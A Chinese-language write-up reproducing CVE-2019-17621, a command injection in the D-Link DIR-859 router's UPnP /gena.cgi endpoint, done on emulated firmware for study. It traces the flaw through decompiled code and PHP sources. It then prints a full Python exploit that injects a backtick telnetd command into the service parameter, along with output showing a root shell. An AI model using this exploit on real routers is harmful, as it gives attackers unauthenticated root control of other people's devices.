官网对本漏洞的描述为:The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root, by sending a specially crafted HTTP SUBSCRIBE request to the UPnP service when connecting to the local network.本次就对该cve进行一下复现
参考文章 1 2 https: //www.attacker.cc /index .php/archives/113 / https: //medium.com /@s1kr10s/d-link-dir-859 -rce-unautenticated-cve-2019 -17621 -en -d94b47a15104
漏洞介绍 本漏洞是因为UPnP请求的代码出现的问题,可以导致无须授权的RCE,根据cve官网的描述,我们可以知道漏洞出在gena协议的的订阅事件的请求中,下面就开始分析
UPnP 在分析前我们首先要了解,什么是upnp
我们说的 UPnP(Universal Plug and Play)即通用即插即用协议,其作用简单来说就是可以当我们支持UNPN协议的设备开启该协议,当主机或主机上的应用程序向该设备发出端口映射请求时,我们的设备就会自动为主机分配端口并进行端口映射,该协议也是从PNP协议里引申出来的
这里我也说一下传统使用协议的PNP协议,即 “即插即用”,该协议支持自动为新添加的硬件分配中断和 I/O 端口,用户无须再做手工跳线,也不必使用软件配置程序。
而所谓做手工跳线,我们就不得不说最原始的添加设备的方法了,在这两种协议出现之前,如果我们新添加了硬件,需要我们手动为新加的硬件设置终端和I/O端口,我们所说的手工跳线,就是我们新加硬件之后就要在相应的针脚上用小跳线插一下,这对用户的要求十分的高,效率也十分低下。
关于upnp这里就不详述啦,下面我们就开始正式的分析
仿真环境搭建 分析之前首先先搭建一下仿真环境,这里我才用firmadyne搭建环境
我们首先将我们的固件复制到firmadyne目录下,然后模拟运行固件,这里我用了我自己写的一个脚本 一键搭建,然后访问上面所给的ip访问我们的仿真路由,出现登录界面就表示仿真成功
漏洞分析 首先我们拿到有漏洞的文件,可以从我的github上下载 到
因为是一个比较老的路由器,也没做什么加密,因此这里我们可以用binwalk直接提取出固件内容
这里我们用ghidra来进行反编译,这里我们直奔gena.cgi的部分,这里我贴出伪代码部分内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 undefined4 genacgi_main(void) { char *pcVar1 char *__s char *__s1 char *__s1_00 char *pcVar2 size_t sVar3 __pid_t _Var4 char *pcVar5 undefined4 uVar6 int iVar7 int iVar8 char acStack552 [8 ] int local_220 undefined4 local_21c undefined *local_218 undefined auStack528 [500 ] undefined *local_18 local_18 = &_gp pcVar5 = getenv("REQUEST_METHOD" ) if (pcVar5 == (char *)0x0 ) { return 0xffffffff } uVar6 = (**(code **)(local_18 + -0x7c90 ))("REQUEST_URI" ) local_220 = (**(code **)(local_18 + -0x7f78 ))(uVar6,0x3f ) if (local_220 == 0 ) { return 0xffffffff } iVar7 = (**(code **)(local_18 + -0x7d44 ))(local_220,"?service=" ,9 ) if (iVar7 != 0 ) { return 0xffffffff } iVar7 = (**(code **)(local_18 + -0x7d30 ))(pcVar5,"SUBSCRIBE" ) local_220 = local_220 + 9 if (iVar7 != 0 ) { iVar7 = (**(code **)(local_18 + -0x7d30 ))(pcVar5,"UNSUBSCRIBE" ) if (iVar7 != 0 ) { return 0xffffffff } local_218 = &_gp pcVar5 = getenv("SERVER_ID" ) if ((((pcVar5 == (char *)0x0 ) || (iVar7 = (**(code **)(local_218 + -0x7c90 ))("HTTP_SID" ), iVar7 == 0 )) || (iVar7 = (**(code **)(local_218 + -0x7c90 ))("HTTP_CALLBACK" ), iVar7 != 0 )) || (iVar7 = (**(code **)(local_218 + -0x7c90 ))("HTTP_NT" ), iVar7 != 0 )) { (**(code **)(local_218 + -0x7e0c ))(400 ,0x420554 ,0x420554 ) } else { uVar6 = (**(code **)(local_218 + -0x7c90 ))("SERVER_ID" ) local_21c = (**(code **)(local_218 + -0x7c90 ))("HTTP_SID" ) (**(code **)(local_218 + -0x7efc )) (auStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n" , "/htdocs/upnp/run.NOTIFY.php" ,uVar6) (**(code **)(local_218 + -0x7f80 ))(0 ,0 ,auStack528,**(undefined4 **)(local_218 + -0x7dac )) } return 0 } pcVar5 = getenv("SERVER_ID" ) pcVar1 = getenv("HTTP_SID" ) __s = getenv("HTTP_CALLBACK" ) __s1 = getenv("HTTP_TIMEOUT" ) __s1_00 = getenv("HTTP_NT" ) pcVar2 = getenv("REMOTE_ADDR" ) if (pcVar1 == (char *)0x0 ) { iVar7 = strcmp(__s1_00,"upnp:event" ) uVar6 = 0x19c if ((iVar7 == 0 ) && (__s != (char *)0x0 )) { iVar7 = strcasecmp(__s1 ,"Second-infinite" ) iVar8 = 0 if (iVar7 != 0 ) { iVar7 = strncasecmp(__s1 ,"Second-" ,7 ) uVar6 = 400 if (iVar7 != 0 ) goto LAB_004103d8 iVar8 = atoi(__s1 + 7 ) } sVar3 = strlen(__s) if (__s[sVar3 - 1 ] == '>' ) { __s[sVar3 - 1 ] = '\0' } __s = __s + (*__s == '<' ) iVar7 = strncmp(__s,"http://" ,7 ) uVar6 = 0x19c if (iVar7 == 0 ) { pcVar1 = strchr(__s + 7 ,0x2f ) if (pcVar1 != (char *)0x0 ) { *pcVar1 = '\0' _Var4 = getpid() sprintf(acStack552, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php" ,pcVar5,local_220,__s + 7 ,pcVar1 + 1 ,iVar8,pcVar2, "/var/run" ,local_220,_Var4) xmldbc_ephp(0 ,0 ,acStack552,stdout) fflush(stdout) _Var4 = getpid() sprintf(acStack552,"NOTIFY:0:sh %s/%s_%d.sh" ,"/var/run" ,local_220,_Var4) xmldbc_timer(0 ,0 ,acStack552) return 0 } uVar6 = 0x19c } } } else { uVar6 = 400 if ((__s == (char *)0x0 ) && (__s1_00 == (char *)0x0 )) { iVar7 = strcasecmp(__s1 ,"Second-infinite" ) iVar8 = 0 if (iVar7 != 0 ) { iVar7 = strncasecmp(__s1 ,"Second-" ,7 ) uVar6 = 400 if (iVar7 != 0 ) goto LAB_004103d8 iVar8 = atoi(__s1 + 7 ) } sprintf(acStack552, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh" ,"/htdocs/upnp/run.NOTIFY.php" ,pcVar5,local_220,pcVar1,iVar8,"/var/run" ,local_220) xmldbc_ephp(0 ,0 ,acStack552,stdout) return 0 } }LAB_004103d8: cgibin_print_http_status(uVar6,0x420554 ,0x420554 ) return 0
首先前面是一些取值和判断的操作,也就是我们需要伪造包的结构,最终我们伪造的所有参数都会被sprintf函数传入缓冲区中,然后会被我们的xmldbc_ephp传入我们的php,我们来看下xmldbc_ephp的内容
1 2 3 4 5 6 7 8 9 10 11 void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *param_3,undefined4 param_4) { size_t sVar1; undefined *local_20 local_20 = &_gp sVar1 = strlen(param_3 ) FUN_0041420c(param_1 ,10 ,param_2,param_3,sVar1 + 1 ,param_4,local_20) return }
可以看到,其中param_3即是我们的报文,而该函数先是计算了我们传入变量的长度,然后发送给了fun_0041420c,我们接下来转到这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 undefined4 FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,undefined4 param_4,ushort param_5, int param_6) { int __fd; int iVar1; undefined4 uVar2; __fd = FUN_0041372c(); uVar2 = 0xffffffff ; if (-1 < __fd) { iVar1 = FUN_00413810(__fd,param_2 & 0xffff ,param_3,param_4,(uint )param_5); uVar2 = 0xffffffff ; if (-1 < iVar1) { if (param_6 == 0 ) { param_6 = stdout; } FUN_00414094(__fd,param_6); uVar2 = 0 ; } close (__fd); } return uVar2; }
可以看到,在fd>-1时,我们的参数被传入了fun_00413810中,因此我们直接看该函数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 undefined4 FUN_00413810(int param_1,undefined2 param_2,undefined4 param_3,void *param_4,ushort param_5) { ssize_t sVar1; undefined4 uVar2; undefined2 local_20; ushort local_1e; undefined4 local_1c; local_1e = param_5; local_20 = param_2; local_1c = param_3; sVar1 = send(param_1,&local_20,0xc,0x4000); uVar2 = 0xffffffff; if (0 < sVar1) { sVar1 = send(param_1,param_4,(uint)param_5,0x4000); uVar2 = 0 ; if (sVar1 < 1 ) { uVar2 = 0xffffffff; } } return uVar2; }
可以看到,最后程序通过send将我们的参数传给了我们的php中,下面我们来看看我们的php的实现过程
首先在前面我们知道对应的php文件为run.NOTIFY.php,那么我们直接来分析相关内容即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <? include "/htdocs/phplib/upnp/xnode.php" ;include "/htdocs/upnpinc/gvar.php" ;include "/htdocs/upnpinc/gena.php" ; $gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf" , "uid" , $INF_UID, 1 ); $gena_path = $gena_path."/" .$SERVICE; GENA_subscribe_cleanup($gena_path);if ($SERVICE == "L3Forwarding1" ) $php = "NOTIFY.Layer3Forwarding.1.php" ;else if ($SERVICE == "OSInfo1" ) $php = "NOTIFY.OSInfo.1.php" ;else if ($SERVICE == "WANCommonIFC1" ) $php = "NOTIFY.WANCommonInterfaceConfig.1.php" ;else if ($SERVICE == "WANEthLinkC1" ) $php = "NOTIFY.WANEthernetLinkConfig.1.php" ;else if ($SERVICE == "WANIPConn1" ) $php = "NOTIFY.WANIPConnection.1.php" ;else if ($SERVICE == "WFAWLANConfig1" ) $php = "NOTIFY.WFAWLANConfig.1.php" ;if ($METHOD == "SUBSCRIBE" ) { if ($SID == "" ) GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/" .$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT); }else if ($METHOD == "UNSUBSCRIBE" ) { GENA_unsubscribe($gena_path, $SID); }?>
可以看到,在得到我们传入的参数之后,首先会做一个服务判断,根据官网的描述可以知道我们的漏洞出在订阅事件,因此可以直接然查看我们的GENA_subscribe_new的相关内容,而他被定义在了/htdocs/ipnpinc/gena.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function GENA_subscribe_new($node_base , $host , $remote , $uri , $timeout , $shell_file , $target_php , $inf_uid ) { anchor($node_base ); $count = query ("subscription#" ); $found = 0; foreach ("subscription" ) { if (query ("host" )==$host && query ("uri" )==$uri ) {$found = $InDeX ; break ;} } if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:" .query ("/runtime/genuuid" ); } else { $index = $found ; $new_uuid = query ("subscription:" .$index ."/uuid" ); } if ($timeout ==0 || $timeout =="" ) {$timeout = 0; $new_timeout = 0;} else {$new_timeout = query ("/runtime/device/uptime" ) + $timeout ;} set ("subscription:" .$index ."/remote" , $remote ); set ("subscription:" .$index ."/uuid" , $new_uuid ); set ("subscription:" .$index ."/host" , $host ); set ("subscription:" .$index ."/uri" , $uri ); set ("subscription:" .$index ."/timeout" , $new_timeout ); set ("subscription:" .$index ."/seq" , "1" ); GENA_subscribe_http_resp($new_uuid , $timeout ); GENA_notify_init($shell_file , $target_php , $inf_uid , $host , $uri , $new_uuid ); }
可以看到前面做了一些赋值和判断的操作,那么漏洞在哪里呢,我们直接来看最后调用的那个函数,也就是调用了我们$shell_file的函数GENA_notify_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function GENA_notify_init($shell_file , $target_php , $inf_uid , $host , $uri , $sid ) { $inf_path = XNODE_getpathbytarget("" , "inf" , "uid" , $inf_uid , 0 ); if ($inf_path =="" ) { TRACE_debug("can't find inf_path by $inf_uid =" .$inf_uid ."!" ); return "" ; } $phyinf = PHYINF_getifname(query($inf_path ."/phyinf" )); if ($phyinf == "" ) { TRACE_debug("can't get phyinf by $inf_uid =" .$inf_uid ."!" ); return "" ; } $upnpmsg = query("/runtime/upnpmsg" ); if ($upnpmsg == "" ) $upnpmsg = "/dev/null" ; fwrite(w, $shell_file , "#!/bin/sh\n" . 'echo "[$0] ..." > ' .$upnpmsg ."\n" . "xmldbc -P " .$target_php . " -V INF_UID=" .$inf_uid . " -V HDR_URL=" .$uri . " -V HDR_HOST=" .$host . " -V HDR_SID=" .$sid . " -V HDR_SEQ=0" . " | httpc -i " .$phyinf ." -d \" ".$host ." \" -p TCP > " .$upnpmsg ."\n" ); fwrite(a, $shell_file , "rm -f " .$shell_file ."\n" ); }
好的,可以看到我们这个函数会在最后写一个shell脚本,此时我们回溯一下
1 2 3 4 5 sprintf (acStack552, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php" ,pcVar5,local_220 ,__s + 7 ,pcVar1 + 1 ,iVar8,pcVar2, "/var/run" ,local_220 ,_Var4);
可以看到我们的$shell_file是以我们.sh形式传入的,也就如其名,是一个shell脚本的名字,那么也可以在init函数中看到,我们这个参数一共用了两次,第一次用在了创建文件中,而第二次则是在我们的shell脚本中写入一个删除的命令,因此利用就比较明显了,我们使用反引号包裹命令来触发漏洞即可,那么最后来运行一下exp来看看效果
exp利用 首先我们用firmadyne模拟一下固件,这里我使用了我的一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 ~ nmap 192.168 .0 .1 Starting Nmap 7.01 ( https ://nmap.org ) at 2020 -03 -24 22 :06 PDT Nmap scan report for 192.168 .0 .1 Host is up (0.017 s latency). Not shown: 996 closed ports PORT STATE SERVICE53 /tcp open domain80 /tcp open http 443 /tcp open https 49152 /tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
直接用nmap扫一下就可以看到已经启动成功了,界面这里就不截图了,我们继续下一步
这里exp就直接使用研究员的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import socketimport osfrom time import sleep # Exploit By Miguel Mendez & Pablo Pollanco def httpSUB(server, port , shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET , socket.SOCK_STREAM ) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" sleep(1) print('[*] Sending Payload ') con.connect((socket.gethostbyname(server),port )) con.send(request.encode()) results = con.recv(4096) sleep(1) print('[*] Running Telnetd Service ') sleep(1) print('[*] Opening Telnet Connection \n') sleep(2) os.system('telnet ' + str(server) + ' 9999') serverInput = raw_input('IP Router : ') portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
运行一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ~/0iot/DLINK-859 /_DIR859Ax_FW105b03.bin.extracted python exp.py IP Router: 192.168 .0 .1 [*] Connection 192.168 .0 .1 :49152 [*] Sending Payload [*] Running Telnetd Service [*] Opening Telnet Connection Trying 192.168 .0 .1 ... Connected to 192.168 .0 .1 . Escape character is '^]' . BusyBox v1.14 .1 (2016 -06 -28 10 :53 :08 CST) built-in shell (msh)Enter 'help' for a list of built-in commands. #
好的,可以看到此时我们已经成功telnet了,再用nmap扫一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ~ nmap 192.168 .0 .1 Starting Nmap 7.01 ( https ://nmap.org ) at 2020 -03 -24 22 :09 PDT Nmap scan report for 192.168 .0 .1 Host is up (0.022 s latency). Not shown: 995 closed ports PORT STATE SERVICE53 /tcp open domain80 /tcp open http 443 /tcp open https 9999 /tcp open abyss49152 /tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
ok~